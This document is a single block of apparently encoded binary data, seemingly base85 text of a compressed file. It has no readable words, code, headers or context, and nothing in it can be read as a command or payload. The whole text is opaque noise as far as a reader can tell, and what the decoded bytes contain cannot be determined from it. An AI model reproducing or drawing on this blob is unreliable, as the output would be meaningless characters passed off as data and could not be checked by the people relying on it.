z0?ZvyfS;I8v&D)!_``-FY*_N@J*UpaO-=W}M=mPp82qn`V>o!ESGD^Py86oSw}Yjq~|-CkmwtWnt%H7Mp(% zF}Z+OLWG}91Z=coGT6H}xqGj-vaiVDGi-i|&7SXe@IBrw>i z@B)uXltJ9v?$Nym4!*6EGIf|!Sssrval6x9TJhtSJ?M+t`LUMdO{#2mm`x{4Bk2w2 zI3ZGn?N~cSi*;>V0;BaYtqrYG>t_C&&1g6!F)qlbbswi^i*A^kg>5EqYK)dS0(Bc_ zVB+3r&-W`;CEP1jnWcy8XP((VoW$J~Kk$y7mw7bMs-E$R7wFEvp^P23PiEdo;ClMC zG5V+x+FiIk;76a^Sj$HThr|6W8}l%Xduuf6{oF7A>g3wH*WZ8dQ!jo7K=~j1{_l|) zgjgYgU_OXpv!f9OAf$>wXkX`<$Y+K8;Oc{`*B@NCcwQ|5EaIiaxnvRtXh1|7mQ^V$ zz#o+*QQ$En5_}M7k+yT1jXnwP!?g?K#=Gw4b(7t!Cm3PO5k(1Hs^PxW95Z6nj=8tn zTB|fqCzzMF+;0dPz@nd1o%JuW-d#h&w0b?@)MTeS}MND`ciT(Xst7k94uAdI} zmo_)*bnemQ8+v+7;6uPGouBMobIZ)J1IUQ39gmrg4yJ>h94>D%isMjpl2pmQW>~*} z{*tWnJNNFKyZF>{J4nG=DzLgSSjmC zy*^k3FYNk}WsTr@Gs4+q5DZ3!0TLTjIRj;6)WZ=yc(xD~wu!JRGo_IKV2D1VJlnC) zAa9(!Y#VV=XCzJ`AOPC4Svs4{rla9>KTl`*WRgy2ft{BK2x7c{;71|xV#-@_w1nv$ zmciP<#Tr@cZ{6a4D;-bzD}4%KPo3^s7#mujWo&E!X#4#h7HNX5$ALf(JFgQ>E>2O- zC!?M5;U20wTzHC2y+I3hzL*Y&x8M6_f{r%3d;Q&)o;sJ`y*JIgP_dwrw33Iz!6Ys2 z4@WzbY?jOE;g&DyFTDKf%P)T-ll!4Z6v(nP1sWm1ZcZ6aoRY|lgh;ol zj7#gE(ovA;QU4y82fw$x#xXlg#*W&;l#c0^I^L-U4gS1CXOH|hmN^r>!6!j}H68{bc!!aS&;7 zWNY23G@q(*lzU&C5Li!AZq6b#3)45?A8?uZ_`pMzk(>&!qI-k=&c{SV#) z-+C|{Z>+9Qc6RRU?T77t=i=pLsdx4DZ`^t3`#Zzk8Rv?F8}n9F`P_v|=g*wq*gRL6 zu@-5_BguGCsSKy$fZXuNGhy95M5ngd#x{gf4-Y6QT`Sxvs~dpTZ4zF_26^43)yZtu z?J>)>Myv~AE}PFsba@AZWHMyUuo!FW5IBPC6Jo()q zQGg^H3Y)qe$=9^o;}xEqcJ#YDa7_G*AZssd0o12FrZ62 zV3=vU#tf6jqRg7!i`;g~!d9z48}1B;)196DcEWwaCwqhOEPd{kPXjdg^DqCw%^Nq? z;~V-m@!97n0>*snhDM@gP#HsESD_z|ewq zMVEqK-ZM#X zj3~r>s4oyLl%=qfdT?))6~u$E;6CFs-^(i#C%!D?XqFlpbh~GW_8{W$y?&6W?kbpk z5a`U-fgvUlJPf3rGL2lfx{OhAQ(1iJ1!0@v;7fq|A#>#{Uqx|yT8^s0rAUkCs-??ccke&t_57F`OL@fO&!`k*prDG@mnaH1d+faf|qR|IVFk zHaXaS;IjY_%Ffn3u#C@s;>EQy=fC}(H_9pKaenjKjc1>I{?hZ$D|qR6`pM6}y8p^6 z{&)M4#*S!UWy%VMelwqiJ7EXjjGG=NAHrHY}7GEM#)$0?LJo=!msfbbWG z&7J-R@!4k%w(q;2m$N-ETx-iKfL(A<{_JLu8!bVryfv@4ELYK0@PE%t?KfA_JOmHd)v?**FQf8SX5t9^@p9+uR z5Ey{9l6fNNY;e-EJ6A&_TpX)+<$Nnln6X+UZi^mI~TKI?3KH3 zy-5$p@k+n9(#3ux8UmCc1#aSLevqqF2`X6d)a}L#YP!utn$rucUY$25#f!3*r(jDPdu_CT7hVqn zZFeui_pX@oEQPvB%-2Up>xFz^-FVnw+#2!PX%`T%DP!B3Y(;grb1wq*YA=@OQ8@57W_eSLXea+=HN= zFZa7=)>pQ6A5h(1*?bz4s4h*U?P*Yzk(+mK(!G5WcT?pktaVltoB`6O*J zj=t?`FE&{NQst9Fzy~C5^^4gQ)HGRLi&xiuU1sAV3~@fucsj|lDYsLo!P!S~++FHt zW$F7-#&fz97#ZH$x`%@uDNTjKJOeWT+^G%(4`5Xb{6Oj4D8-S1EGtckTr><=0DuTw zBIJ+B98V#&%)?W+_QeF$pG^24=y})X=!!6nYZH# zP87U9py76>RaES7G|H#tZo2#KtsRJLE-Xc7`eDLhpC!*+-UvM(oCu!$$6O~QhGs=k zB{3;ys?FM-_F)|geSdi0be5iOuO==Qr-VG|^lUdB5Giby%~?XkF*R)Sd;u|~#G|*1 zvIO}JhhrOwso}w%1izPN>0}c446F*C*Aw_B zH`dR>nsPGPx_3)yzIpK(5U(+%4I`~CObdw$@kNk!Y6YY2z6;%)35L)z##W68bJzXqgrjRx3@wz;sk#=!)?)UoFPyYy1Se zLT}&e#;yCeZ+da)B^wX!9q!-XEz@y2-tDh}iW-5RB{0Tw;VQ z9=aLNy!={q^Ub8y9t{V<_Ki{Z-1_EI8|N-kaAOwxE2O}bCLfiDhu{TQpX~`8&`6jU z#GU1=wNwGfhA2t}A@i<0AM}@Z@7%uEpUQq*uC+QKz>Q9;9f+jYU0&%3-y{H3JuoaK zj*7N6APi#0!mOm8MxKI(G<{hRHlQSy~&{6U;o5&-o=%|HxSAZ+p%{%7OjgE^%=X(RBU@VQ+>uQ z_-&t(EHA5y1@S7lWcbRr?p*JOqRi4UC}q5V@8+F@-L1iJtf#{OLbZ(<+}fPaCbNvI zI7!YubHxPFmFKPu-hG?M8J=5ckPn)bNJh47I~8!Hs}fch!aRlOM?p{zh{2LcI9Oo# zPc&!a68Z><_Md%a=hmAeh+NY2Tt1ok;qv;rh@wgwd(;}hhYB1sfXs4#x4j&JW2AvC zMIwu)FFMO~HsCo1zyX?W!u!35n%PvtJ5oHZi)nD2Vc6L?)9SXE&%!ulc6KR93{zR$ z6Jg>75YyTb-L~wDBcI#Y2Ev&L{8+@?_|*1^VL1Tc4wC1lBbBDHCuZ3cys{b12F3R3 z+4Ve|L>{fuG$gFJacAe3!}JV6m!@ge)AoY39UF=FU8<6THfj9!NcE>|FpeVkY(9*C3f#U=X&>idQ+9&0R!5LB- zk~5Aq z-)NCzRSxBtMZ%TL9+xl5>Th0AZR=*4W4TV1Wk?L`>ua4}FAgIjs(^3Oya=6%A(n7t zJ;yUtuRbxCvbcV)=9?IYz_)Q6eN#~Roq3aR+sVg=pKNPof|J2vhI6s zv)yrqK|Bgnsa=Xfl4S}FWr>vIiTg+2^o|CrpMRNeYh2DPMN^j-q3~!jcxD8_Ej(gc zVkL&%EMSu~cEuC;R1&zeIE7eM8m9G?M~_IEz&gwFmLTjZoW~j+a}EofSlVXAbppg{ z;rMarN+m|5v&H#_A#g z2w@k^6$&KrKz07+6>Z#j9lm?JiNRA-<)#7eF^_`KZY$`(mpIX4lva7C*|9I*lo~5s z9^-(psuIJpP&PAhH+u zv%i>!p|9%=;0#n0`^QI-Gqjs+{q;9Bdq;Gf&;w$s08o`FHJVMuw41%n3Mdo=Nm-FJ z4K{t0`bSS6?CxAEBs2tOccpxq<2&M5J4yketb}a?{3yVoQuJ{rX`Hh82sVzu5iHch zf6MFT>^A*=xK8TraH(VHX0zEA#;5h#71Oj~y-Kt#odk|sB$1-nYd2oXc^aMG7mXH? zRE++(qGl`_2_Ik>!2UFW$@OEwjfm_@hS76Wd}J&L%a!mnMIQSvYP{W+Rkf@N$i?vE zcvhBpE)sO%ZYydyErzW%IRQ4GBbWke9J`Cib)rI0TWwXvyT?Yi-P~#fTo4B_{#{WX z`=jG`-`yl@H?O?j%($uWt=<=2rCWAZpwTk?yp((>xynChrouC$Oo~@~&U|iLW>Qvx z>#eM;>Z){j|7Hf)xx4X;Ay1eA-(5+3D&Q9MH^E0w1qUrDl2=2hr< zSrVAGEowbfO5{=^REV7btrjU(3bEI|#0i!R_)QHRkxn&)<=EItA0|lxrcw89APfHIe1ovhl=a zI}(SXOD0($5>!f=h-7VZ``VxX;UDo_`sCpUZ+`aYihKx&tx z6*X6Yb^vprB=V9hEwGzD4I9nwBH@Z8CRGYQElIf)l4_MJ1SpCGK?<zAI|%-J!?d;VA_&rK%>Jds%Kk8cQ8dL7(GXrd5OH zix2)HPo`2-hM6j~C(Ty7f;}v1f(WEv#oh`)`4?Sdkc=RmU`}VsTScB_MFwFdv2E+7PtH#FeUaPkb zV3|@iy#D+FrM0)6xtA z!Tv(?$Y;vB&vYJ_x-)qiB@r(PQ8Y}`U5KfcZoudL@f3?A^XcU1p>uu~%x9`pD2fP7 zR8u7Qei>|qtQ2Kgl%?rpaDINwRoQetXl`$9t=>6)eD~}rG#lYw*bT}CS`HCpv-bpu_$~#O#~EDz`4GH%~rFu#3`9PO9S6a zf>gInvt?Io+Fr<$f|n7&A&(BrG$MSVDpC-}sT$+Zhb+LFpqDb76Ao{Gfz~t2q8hDn z@@%Eq)MW|c2sS&zo6BR@4UG^^~-5#EH>t z?D-DUHF6Zd?bv4#7eJ~D?1Tp(Sd}q+(l(UL)=!Ry=l%Zn_SKD@Tf@Zk+RL&oQkqp~2f=8NiYq`;i^WsN^^5tS9xfK|z6&pO<)t_46fOH8`e!AonF{DK zlhidLJ-ll#;C%*B=p{*7O9n@Aq@|4GB+5{aPLQyQ=b?~)8Z2~G#W@JgE`S=OB2U?X z0P~`U6+%(ADueSX6M&MjGwv_^xfGjLl~7Ircu_BvzF1`tnO+hPXUaaO(XM?t^EU%y z7gn#?elj>TA2gdQrrV!2udlM6C^kKV6PZBv+0`QsE@OYrQqGviX+?mG89?GVN<^!< z_u^|*mokAyA@G!-B9P`v0^3`tbj!dLgjXwN47^#Q*vSm(2C#@AG*tuM{=*0F-M)U~ zgPp5HCDZkb-3{`$|vN)T;4<$g2o(^ZgPS*{=P!*XliNu{xd zo$i$@`QZIegex0iH8~u#DaMvZiS!6+||9j5jSj#Qhq1cMfrvlx)ba zjQ!wrG`sW4>+MT7N)ZCI5XX}&iztU)9cAW2q!&aju7zQqyyiOBKX)yMJo@`z-@A6L z-<4c9qH;SL&5Gk;nUquk3S618P+J=O;9kRojRUz|lz_+qM&RNg@aIt+m9oOox|$76 z?REX=;OON$*W-c*<|3e?5#F}RGJpX?R&`0y1ZJ*<-M>^svlqP15iz?fN}ecP!x~Q> z`RSG3+EsTp5=ac3%$rRYvx%we*3H{pQKpv)TC+f;O7m!NwhhURG!84V%r4 zlfP|6l{=qn{>AUAV#vX(5oO*Rg!8j1TBvK6A+=8XPavuB#F$OTAKV`uj8NG0jUZXc zogz&$_=CWV3UCyOa0;M?x=1nfVQ&SdL_jVo5_s6Es?yrpL9666olQ_AN06-cnn^{X zsH$q1Ku2-X4ON)(I>*3=rP~;7d$Fmb%AMI9KpdxOB^(7&0eH*>VFsB@??6H<*pxNL zi6t)$#8pkudS^pk>f}I|2J<~m+piRnBUO^j7Ly=wn@R)DlM1;>BZj18l~P@JC}6^d z<&JAUjBY_4qks3!zZAqGE@OaFDW?GI<g(l!xDiU=EZwMdqz9`HmX-=Dm5@9BZHldtsruRm1jYE;u|5hQ+)a}me2mLrHF ze1BotrGsWVlvRHKSnGBNg5qK_(bW=|cIZcnG*X4?!TtBlHpFnqxfz#KbzTZhL2or= zO@}Qk6inchbsLaM#2yz8hk10}j7%4Dh@^HP&`xIOX&%c|PQv)`@T_6$mv(z$5*ng# z;^t>VcdKWPHq8A~A5OWn6wHF3SC&)PP5#FF(T{zs?9~THQQ~lIJ$v~6h-+y?rVz;JLjqaaH|2)ykt*a#)w>)~*- zF7v>)M7(qX^aQ6fPZOF~mI8EC1O{28F??xGa~#a1XpaGW4Lj5;0ssjI8F4r81z!X) zP^v7B%fOGBV-42QgbUXpEOuiz5R)J)@_3I6SFLWhwUT~gBw3oA3B081xjxTBBd#o| zVVYL`J%a@w>Ygv9JvkXWa!sKw`iD=9rp^hLJD*100ut)Mz4u>u>n&$gL}?5;SEUMk zEjCSJc*a&+&1z$%1#cr^eJgwxsBI44L^5DIm`%s?51u~Re|$fS;`O!dmtMS`!}cAX zsKU^0=!03*ZJL+2x~GGHU7DgAe$E&i4#3y-4_Hxt{ZclXDNT|Cs~U_C{{2_Gjh|B+ z=3+YAymC#DwJcfGG}nygfAx=l<=)r6F?xF7-h5fwQCXB*dJf}l1uP9)o^xeYdyQ0BpGj2fX_m0|}AJaZGyT1razTdHiKLWQm{g&e